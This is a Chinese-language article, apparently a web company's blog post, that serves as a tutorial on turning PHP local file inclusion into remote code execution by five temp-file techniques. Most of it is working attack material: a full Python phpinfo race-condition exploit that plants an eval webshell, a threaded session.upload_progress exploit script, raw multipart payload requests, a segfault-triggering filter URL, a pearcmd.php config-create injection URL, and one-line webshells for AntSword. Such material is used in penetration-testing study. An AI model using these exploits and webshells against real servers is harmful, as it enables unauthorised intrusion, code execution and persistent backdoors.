ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

文件包含之docker下的临时文件、windows上传文件文件、session.upload_progress与Session文件包含、Segfault遗留下TEMP文件、pearcmd.php详解!

文件包含之docker下的临时文件、windows上传文件文件、session.upload_progress与Session文件包含、Segfault遗留下TEMP文件、pearcmd.php详解!

摘要:本文围绕 PHP 文件包含漏洞,详细梳理了五种利用临时文件实现代码执行或 Getshell 的实战思路:通过 phpinfo() 信息泄露进行条件竞争;借助 Windows 通配符实现精准包含;利用 session.upload_progress 写入 Session 文件;通过 Segfault 异常退出保留临时文件;以及巧妙使用 pearcmd.php 的 config-create 功能写入后门。每种方法均给出了原理分析、环境依赖和可复现的脚本示例,适合安全研究人员和渗透测试者参考。

企业很多业务都在云上 用容器来跑就可以节省很多资源 一般用docker 但是docker的日志文件权限很死 基本上没有包含思路 所以考虑到临时文件 我们可以创建两个线程 一个来不断上传文件 一个来不断包含文件 但是我们需要获取临时文件路径 考虑到phpinfo里面会携带临时文件路径

我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉。

今天演示的案例 前提下需要有文件包含漏洞才可以利用临时文件

包含docker下的临时文件(phpinfo与条件竞争)

依赖phpinfo产生的信息 里面会有临时文件的目录

该脚本实现了一个典型的phpinfo() + LFI 竞态条件利用流程:

  1. 信息泄露阶段:向目标/phpinfo.php发送包含文件上传数据的 POST 请求,从返回的 PHP 环境信息中解析出临时文件路径名(如/tmp/phpXXXXXX);

  2. 载荷投放阶段:在请求中附带恶意 payload,内容为<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>,旨在目标服务器上写入一个一句话木马;

  3. 竞速包含阶段:通过多线程(默认 10 个)持续发送 LFI 请求(GET /include.php?123=%s),将步骤 1 中获取的临时文件名作为参数传入,在 PHP 清理临时文件之前触发文件包含,从而执行 payload 并成功创建持久化后门/tmp/g

#!/usr/bin/python import sys import threading import socket def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /include.php?123=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] =&gt; ") fn = d[i+17:i+31] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn counter=0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] =&gt; ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else: print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__": main()

windows上传文件精准包含

依赖windows环境 docker下不行

这里我们利用phpstudy 来模仿windows ,php.ini 里面需要修改upload_tmp_dir = "C:\Windows\Temp"

在www下面创建一个xss_location文件夹写入

include.php

<?php include $_REQUEST['file']; ?>

然后利用文件上传产生的缓存文件进行命令执行,从而getshell

<html> <body> <form action="test.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="upload" value="upload" /> </form> </body> </html>

需要使用windows下的通配符即<,匹配0个以上的字符

>,匹配1个字符

",匹配点号

POST /xss_location/include.php HTTP/1.1 Host: 10.100.29.220 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary163SaL5Buko78Yfw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=ir5m4fcuq8jqotmmp3i8tltjr0 Connection: keep-alive Content-Length: 477 ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; name="file"; filename="flag.txt" Content-Type: text/plain <?php fputs(fopen('D:\phpstudy_pro\www\aaaaa.php','w'),'<?php phpinfo(); ?>'); ?> yes ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; name="file" C:\Windows\Temp\php<< ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; name="upload" upload ------WebKitFormBoundary163SaL5Buko78Yfw--

本来这个网站就有文件包含漏洞 然后 我上传文件的时候 产生了一个临时文件 然后向临时文件里面 写入<?php fputs(fopen('D:\phpstudy_pro\www\aaaaa.php','w'),'<?php phpinfo(); ?>'); ?> 来进行包含

session.upload_progress与Session文件包含 (成功率最高)

PHP中可以通过session progress功能实现临时文件的写入。这种利用方式需要满足下面几个条件:

  • 目标环境开启了session.upload_progress.enable选项 监控文件上传进度

  • 发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段

  • 请求的Cookie中包含Session ID

session.upload_progress.name =PHP_SESSION_UPLOAD_PROGRESS

type="text" name="PHP_SESSION_UPLOAD_PROGRESS"

当 session.upload_progress.name 的值和 name="PHP_SESSION_UPLOAD_PROGRESS" 相同时,上传进度可以在 Session 中获得,临时文件可能会存到 Session 中获取。

session.upload_progress.enable On 这个开启时,PHP 会在上传请求被读取完成后自动清理掉这个 Session。

同样两个线程一个来包含一个来上传,访问一个网站时会产生一个 Session,然后 Session 会返回一个 Cookie,里面包含了 Cookie: PHPSESSID=ir5m4fcuq8jqotmmp3i8tltjr0。Session 文件名就是利用 Session ID 来命名的,比如这里就是 Session 文件名:sess_ir5m4fcuq8jqotmmp3i8tltjr0。

vim 1.py

import threading import requests from concurrent.futures import ThreadPoolExecutor, wait target = 'http://172.25.250.133:8086/include.php' session = requests.session() flag = 'helloworld' #session文件名:sess_hellword def upload(e: threading.Event): files = [ ('file', ('load.png', b'a' * 40960, 'image/png')), ] data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''} while not e.is_set(): requests.post( target, data=data, files=files, cookies={'PHPSESSID': flag}, ) def write(e: threading.Event): while not e.is_set(): response = requests.get( f'{target}?file=/tmp/sess_{flag}', ) if flag.encode() in response.content: e.set() if __name__ == '__main__': futures = [] event = threading.Event() pool = ThreadPoolExecutor(15) for i in range(10): futures.append(pool.submit(upload, event)) for i in range(5): futures.append(pool.submit(write, event)) wait(futures)

172.25.250.133:8086/include.php?file=/tmp/success

Segfault遗留下TEMP文件

如果关闭了session.upload_progress.enable

如果我们可以让PHP进程在请求结束前出现异常退出执行,那么临时文件就可以免于被删除了。

PHP底层是C语言开发的,不少内存错误都会导致进程异常退出,当然不论是Apache还是PHP-FPM都会存在master进程,在某一个子进程异常退出后会拉起新的进程来处理用户请求,不用担心搞挂服务器。

导致PHP crash的方法:

include.php?php://filter/string.strip_tags/resource=/etc/passwd;

这个Bug在7.1.20以后被修复,也没有留下更新日志,我们可以使用7.1.19版本的PHP进行尝试

POST /include.php?file=php://filter/string.strip_tags/resource=/etc/passwd HTTP/1.1 Host: 10.100.29.220 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary163SaL5Buko78Yfw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=ir5m4fcuq8jqotmmp3i8tltjr0 Connection: keep-alive Content-Length: 477 ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; name="file"; filename="flag.txt" Content-Type: text/plain <?php fputs(fopen('D:\phpstudy_pro\www\aaaaa.php','w'),'<?php phpinfo(); ?>'); ?> yes ------WebKitFormBoundary163SaL5Buko78Yfw

报错502表示临时文件生成 我们可以多提交几次 产生很多临时文件 这样方便我们爆破 写py脚本 172.25.250.133/include.php?file=/tmp/php...... 后面6位 匹配我们的产生的临时文件 就算成功

pearcmd.php的巧妙利用

限制条件:

Docker环境下的PHP会开启register_argc_argv这个配置

在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

pearcmd.php是 PHP 官方扩展库 PEAR(PHP Extension and Application Repository)的命令行管理工具的核心脚本

index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php // 第一个 / 表示占位符 因为config-create <内容> <文件路径> 没有写 而是写在了后面 所以先占位 第二个表示分割 这个 / 作为 <?=phpinfo()?> 的"锚点",确保在按 + 分割时,<?=phpinfo()?> 能正确出现在 argv[1] 中。

第一个 / 表示占位符 因为config-create <内容> <文件路径> 没有写 而是写在了后面 所以先占位 第二个表示分割 这个 / 作为 <?=phpinfo()?> 的"锚点",确保在按 + 分割时,<?=phpinfo()?> 能正确出现在 argv[1] 中。

这个请求的意思是,让pearcmd.php执行config-create命令,并将命令中的第一个参数(<?=phpinfo()?>)写入到第二个参数指定的文件(/tmp/hello.php)中10。之后,再次利用文件包含漏洞包含/tmp/hello.php,就能执行其中的PHP代码。

注意!!!<?=phpinfo()?>

<?=system($_GET[123])?>

<?=eval($_POST[123]);?> 一句话木马 连接蚁剑

返回列表